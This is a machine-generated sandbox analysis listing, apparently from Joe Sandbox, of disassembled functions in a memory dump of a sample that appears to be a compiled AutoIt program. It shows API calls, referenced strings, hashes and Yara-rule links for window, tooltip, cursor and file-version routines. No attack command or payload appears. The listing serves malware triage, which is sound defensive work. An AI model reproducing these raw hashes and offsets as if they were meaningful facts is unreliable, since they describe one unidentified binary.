SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00658C8D
_memset.LIBCMT ref: 00658CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00658D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 00658D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 00658E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 00658E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00658E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00658EB4
DrawMenuBar.USER32(?), ref: 00658EC3
SetWindowTextW.USER32(?,0000014E), ref: 00658EEB

Strings

0, xrefs: 00658E55

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 44786ce155a39305c7147cc25523293e2ebc9eec768a31c926e1d40f6e7e7846
Instruction ID: a79153cbc1a8c8768cc635aceacc59ca76736611040534b6273d7b26b8ec1f35
Opcode Fuzzy Hash: 44786ce155a39305c7147cc25523293e2ebc9eec768a31c926e1d40f6e7e7846
Instruction Fuzzy Hash: 38E15D70900209EEDF20DF54CC84AEE7BBAEF09751F10815AFD15AB691DB748A89DF60

Function 0065488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 006549CA
GetDesktopWindow.USER32 ref: 006549DF
GetWindowRect.USER32(00000000), ref: 006549E6
GetWindowLongW.USER32(?,000000F0), ref: 00654A48
DestroyWindow.USER32(?), ref: 00654A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00654A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00654ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00654AE1
SendMessageW.USER32(?,00000421,?,?), ref: 00654AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00654B09
IsWindowVisible.USER32(?), ref: 00654B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00654B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00654B58
GetWindowRect.USER32(?,?), ref: 00654B70
MonitorFromPoint.USER32(?,?,00000002), ref: 00654B96
GetMonitorInfoW.USER32(00000000,?), ref: 00654BB0
CopyRect.USER32(?,?), ref: 00654BC7
SendMessageW.USER32(?,00000412,00000000), ref: 00654C32

Strings

(, xrefs: 00654BA3
tooltips_class32, xrefs: 00654A96
0, xrefs: 00654975

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 4f4498eb522a019db1a639363975674fd0e66ab0f099dd0386b7a734625ffdbb
Instruction ID: a02dc30fc278cfc52bbaeb1e8c63c60d119c75953f46e3e583d1725b2bfc8861
Opcode Fuzzy Hash: 4f4498eb522a019db1a639363975674fd0e66ab0f099dd0386b7a734625ffdbb
Instruction Fuzzy Hash: 85B1BE70608341AFDB04DF68C849B6ABBE6FF84305F00895DF9999B2A1DB70EC49CB55

Function 0063449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 006344AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 006344D2
_wcscpy.LIBCMT ref: 00634500
_wcscmp.LIBCMT ref: 0063450B
_wcscat.LIBCMT ref: 00634521
_wcsstr.LIBCMT ref: 0063452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00634548
_wcscat.LIBCMT ref: 00634591
_wcscat.LIBCMT ref: 00634598
_wcsncpy.LIBCMT ref: 006345C3

Strings

\VarFileInfo\Translation, xrefs: 00634540
%u.%u.%u.%u, xrefs: 00634626
StringFileInfo\, xrefs: 0063451B
04090000, xrefs: 0063457E
DefaultLangCodepage, xrefs: 006345AB

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: e1c8d12a65a667af8c39a561a6a677f14cee184233362a71d9ff38cb298ef4ea
Instruction ID: 542b462705090b3d21455e17db8de70e9cdfbb8111579250cdd6e36337a63b9b
Opcode Fuzzy Hash: e1c8d12a65a667af8c39a561a6a677f14cee184233362a71d9ff38cb298ef4ea
Instruction Fuzzy Hash: A641E7719402067BDB10BB749C4BEFF7B6DEF85710F040166FA04E7182EF38AA0186A5

Function 005D27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005D28BC
GetSystemMetrics.USER32(00000007), ref: 005D28C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005D28EF
GetSystemMetrics.USER32(00000008), ref: 005D28F7
GetSystemMetrics.USER32(00000004), ref: 005D291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 005D2939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 005D2949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 005D297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 005D2990
GetClientRect.USER32(00000000,000000FF), ref: 005D29AE
GetStockObject.GDI32(00000011), ref: 005D29CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 005D29D5

Part of subcall function 005D2344: GetCursorPos.USER32(?), ref: 005D2357
Part of subcall function 005D2344: ScreenToClient.USER32(006957B0,?), ref: 005D2374
Part of subcall function 005D2344: GetAsyncKeyState.USER32(00000001), ref: 005D2399
Part of subcall function 005D2344: GetAsyncKeyState.USER32(00000002), ref: 005D23A7

SetTimer.USER32(00000000,00000000,00000028,005D1256), ref: 005D29FC

Strings

AutoIt v3 GUI, xrefs: 005D2974

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 636d9a3a98034ce2bd4d087cd2bcebfc30c8206697d2c8d0a1b96f0e4cf69214
Instruction ID: 91c6fa65d8c5eb2726d431e844f6d39a22aae6730252272465e53fbe67fb20f2
Opcode Fuzzy Hash: 636d9a3a98034ce2bd4d087cd2bcebfc30c8206697d2c8d0a1b96f0e4cf69214
Instruction Fuzzy Hash: 9CB18E7164020AEFDB25DFA8DC45BAE7BB6FB58311F10422AFA16A73D0DB749841CB50

Function 0062A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0062A47A
__swprintf.LIBCMT ref: 0062A51B
_wcscmp.LIBCMT ref: 0062A52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0062A583
_wcscmp.LIBCMT ref: 0062A5BF
GetClassNameW.USER32(?,?,00000400), ref: 0062A5F6
GetDlgCtrlID.USER32(?), ref: 0062A648
GetWindowRect.USER32(?,?), ref: 0062A67E
GetParent.USER32(?), ref: 0062A69C
ScreenToClient.USER32(00000000), ref: 0062A6A3
GetClassNameW.USER32(?,?,00000100), ref: 0062A71D
_wcscmp.LIBCMT ref: 0062A731
GetWindowTextW.USER32(?,?,00000400), ref: 0062A757
_wcscmp.LIBCMT ref: 0062A76B

Part of subcall function 005F362C: _iswctype.LIBCMT ref: 005F3634

Strings

%s%u, xrefs: 0062A515

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 6036b717145329636cbc4f9fe984e731eadde1633102776bbfc559de1de39f6b
Instruction ID: cc381a8079a815d7b26ff5adc3ec18bc23a92242dd8d4e0c8dafc4208be8f6b8
Opcode Fuzzy Hash: 6036b717145329636cbc4f9fe984e731eadde1633102776bbfc559de1de39f6b
Instruction Fuzzy Hash: 12A1E371204B16AFD714DFA0D888BEAB7EAFF44300F008529F999D6290DB70E945CF92

Function 0062AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0062AF18
_wcscmp.LIBCMT ref: 0062AF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 0062AF51
CharUpperBuffW.USER32(?,00000000), ref: 0062AF6E
_wcscmp.LIBCMT ref: 0062AF8C
_wcsstr.LIBCMT ref: 0062AF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 0062AFD5
_wcscmp.LIBCMT ref: 0062AFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 0062B00C
GetClassNameW.USER32(00000018,?,00000400), ref: 0062B055
_wcscmp.LIBCMT ref: 0062B065
GetClassNameW.USER32(00000010,?,00000400), ref: 0062B08D
GetWindowRect.USER32(00000004,?), ref: 0062B0F6

Strings

@, xrefs: 0062AEF9
ThumbnailClass, xrefs: 0062AFE0, 0062B060

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 000cac9f9a336e184c392e0b83c4f08614b2a5fc01178ef0ba9e968bfe156932
Instruction ID: 0fec8bed720dc1fa88d7ccf5babe31de99f323960862f3fe49eac7e9728be707
Opcode Fuzzy Hash: 000cac9f9a336e184c392e0b83c4f08614b2a5fc01178ef0ba9e968bfe156932
Instruction Fuzzy Hash: 6681017100871A9BDB01DF10E988FAA7BEAFF84314F04906AFD858A191DB74DD45CF61

Function 0065C5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

DragQueryPoint.SHELL32(?,?), ref: 0065C627

Part of subcall function 0065AB37: ClientToScreen.USER32(?,?), ref: 0065AB60
Part of subcall function 0065AB37: GetWindowRect.USER32(?,?), ref: 0065ABD6
Part of subcall function 0065AB37: PtInRect.USER32(?,?,0065C014), ref: 0065ABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 0065C690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0065C69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0065C6BE
_wcscat.LIBCMT ref: 0065C6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0065C705
SendMessageW.USER32(?,000000B0,?,?), ref: 0065C71E
SendMessageW.USER32(?,000000B1,?,?), ref: 0065C735
SendMessageW.USER32(?,000000B1,?,?), ref: 0065C757
DragFinish.SHELL32(?), ref: 0065C75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0065C851

Strings

@GUI_DROPID, xrefs: 0065C77E
@GUI_DRAGID, xrefs: 0065C7C9
pbi, xrefs: 0065C79B
@GUI_DRAGFILE, xrefs: 0065C800

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pbi
API String ID: 169749273-2907016165
Opcode ID: b10e610d8e54956653018943924ab4a49bf3b7614ebbaa5f3c525878b38e4334
Instruction ID: 6096be5e93ae7608f2262d173eb841fd0663a035df81ef972234afffa7c7b361
Opcode Fuzzy Hash: b10e610d8e54956653018943924ab4a49bf3b7614ebbaa5f3c525878b38e4334
Instruction Fuzzy Hash: 77613A71108301AFC711EF64CC89DABBFEAFF89751F00092EF595962A1DB709A49CB52

Function 0062ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0062AC33

Strings

ALL, xrefs: 0062ACC7
[LAST, xrefs: 0062ACE0
[REGEXPTITLE:, xrefs: 0062AC5B
HANDLE=, xrefs: 0062AC2C
ACTIVE, xrefs: 0062AC0E
CLASSNAME=, xrefs: 0062AC70
[HANDLE:, xrefs: 0062AC3F
[CLASS:, xrefs: 0062AC83
LAST, xrefs: 0062ABF8
[ACTIVE, xrefs: 0062AC20
REGEXP=, xrefs: 0062AC48
[ALL, xrefs: 0062ACD9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 6d5013e7dbcce39ee16c4abbc26adf18fee39f142972fb1b12bf92b97c359908
Instruction ID: 2677b21b993a8174b009cf8d7d05c2ea57228da9ea103b1e5cc9dc4547a4afe7
Opcode Fuzzy Hash: 6d5013e7dbcce39ee16c4abbc26adf18fee39f142972fb1b12bf92b97c359908
Instruction Fuzzy Hash: 5931A57064861AA7D714FA94EE47EFE7B66AF50750F30051BB401712D1FB619F04CA52

Function 00644FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00645013
LoadCursorW.USER32(00000000,00007F00), ref: 0064501E
LoadCursorW.USER32(00000000,00007F03), ref: 00645029
LoadCursorW.USER32(00000000,00007F8B), ref: 00645034
LoadCursorW.USER32(00000000,00007F01), ref: 0064503F
LoadCursorW.USER32(00000000,00007F81), ref: 0064504A
LoadCursorW.USER32(00000000,00007F88), ref: 00645055
LoadCursorW.USER32(00000000,00007F80), ref: 00645060
LoadCursorW.USER32(00000000,00007F86), ref: 0064506B
LoadCursorW.USER32(00000000,00007F83), ref: 00645076
LoadCursorW.USER32(00000000,00007F85), ref: 00645081
LoadCursorW.USER32(00000000,00007F82), ref: 0064508C
LoadCursorW.USER32(00000000,00007F84), ref: 00645097
LoadCursorW.USER32(00000000,00007F04), ref: 006450A2
LoadCursorW.USER32(00000000,00007F02), ref: 006450AD
LoadCursorW.USER32(00000000,00007F89), ref: 006450B8
GetCursorInfo.USER32(?), ref: 006450C8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 74396fda64b01ec1671891324ee2a1b840d37cdff93848667f3e3ac5a804fe06
Instruction ID: eb23bd1b88572c1ce5b292481379286509dde8fbe327a6778b9d7d02d7f6dd62
Opcode Fuzzy Hash: 74396fda64b01ec1671891324ee2a1b840d37cdff93848667f3e3ac5a804fe06
Instruction Fuzzy Hash: B631F4B1D4831A6BDF109FB68C8999FBFE9FF08750F50452AA50DE7281DA7865008F91

Function 0065A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0065A259
DestroyWindow.USER32(?,?), ref: 0065A2D3

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0065A34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0065A36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0065A382
DestroyWindow.USER32(00000000), ref: 0065A3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,005D0000,00000000), ref: 0065A3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0065A3F4
GetDesktopWindow.USER32 ref: 0065A40D
GetWindowRect.USER32(00000000), ref: 0065A414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0065A42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0065A444

Part of subcall function 005D25DB: GetWindowLongW.USER32(?,000000EB), ref: 005D25EC

Strings

tooltips_class32, xrefs: 0065A346, 0065A3D4
0, xrefs: 0065A26F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: f0cf447af01a50b724cf46e7fc3011d022eb334d1517ed751ff92c5f4e9a23b2
Instruction ID: 78bc471eccdac23967a1c6cb468462a5d55436ed9f1b6ea11d47b6915012db05
Opcode Fuzzy Hash: f0cf447af01a50b724cf46e7fc3011d022eb334d1517ed751ff92c5f4e9a23b2
Instruction Fuzzy Hash: 7A716B70140205AFD725DF68CC49FAA7BEAFB89705F04462EF986873A0D771E906CB52

Function 00654392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00654424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0065446F

Strings

GETSELECTED, xrefs: 0065457F
CHECK, xrefs: 0065448F
EXISTS, xrefs: 006544D8
GETTOTALCOUNT, xrefs: 00654456
SELECT, xrefs: 00654620
UNCHECK, xrefs: 0065464B
GETITEMCOUNT, xrefs: 00654551
GETTEXT, xrefs: 006545C2
EXPAND, xrefs: 00654521
COLLAPSE, xrefs: 006544B5
ISCHECKED, xrefs: 006545F2

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 731e3fa14846d499c4b48c58b6a8ce8c4c5c093ceb22dcdba858750025df047c
Instruction ID: 634ac22e092347265739aadd2359ca6c88df32c4873056891a5be397f6781ae2
Opcode Fuzzy Hash: 731e3fa14846d499c4b48c58b6a8ce8c4c5c093ceb22dcdba858750025df047c
Instruction Fuzzy Hash: BC918C702047129BCB14EF14C455A6EBBE2BF95754F0448AEFC925B3A2DB30ED4ACB91

Function 0065B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0065B8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,006591C2), ref: 0065B910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0065B949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0065B98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0065B9C3
FreeLibrary.KERNEL32(?), ref: 0065B9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0065B9DF
DestroyIcon.USER32(?,?,?,?,?,006591C2), ref: 0065B9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0065BA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0065BA17

Part of subcall function 005F2EFD: __wcsicmp_l.LIBCMT ref: 005F2F86

Strings

.icl, xrefs: 0065B82A
.exe, xrefs: 0065B84A
.dll, xrefs: 0065B86D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 5a3d054780d999a3f2841031ff65ee47b0deb298dcf1cc9d8deb3d9efe52db79
Instruction ID: 78405971ddd81ebd99d701c9f3a0637b4978d2310c27e5c3a86f137a1a4328ed
Opcode Fuzzy Hash: 5a3d054780d999a3f2841031ff65ee47b0deb298dcf1cc9d8deb3d9efe52db79
Instruction Fuzzy Hash: FC61EDB1900209BAEB14DF64DC46BBE7BA9FB09712F104116FE15D62C0DB749984DBA0

Function 0063DC1A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0063DCDC
SystemTimeToFileTime.KERNEL32(?,?), ref: 0063DCEC
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0063DCF8
__wsplitpath.LIBCMT ref: 0063DD56
_wcscat.LIBCMT ref: 0063DD6E
_wcscat.LIBCMT ref: 0063DD80
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0063DD95
SetCurrentDirectoryW.KERNEL32(?), ref: 0063DDA9
SetCurrentDirectoryW.KERNEL32(?), ref: 0063DDDB
SetCurrentDirectoryW.KERNEL32(?), ref: 0063DDFC
_wcscpy.LIBCMT ref: 0063DE08
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0063DE47

Strings

*.*, xrefs: 0063DE02

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

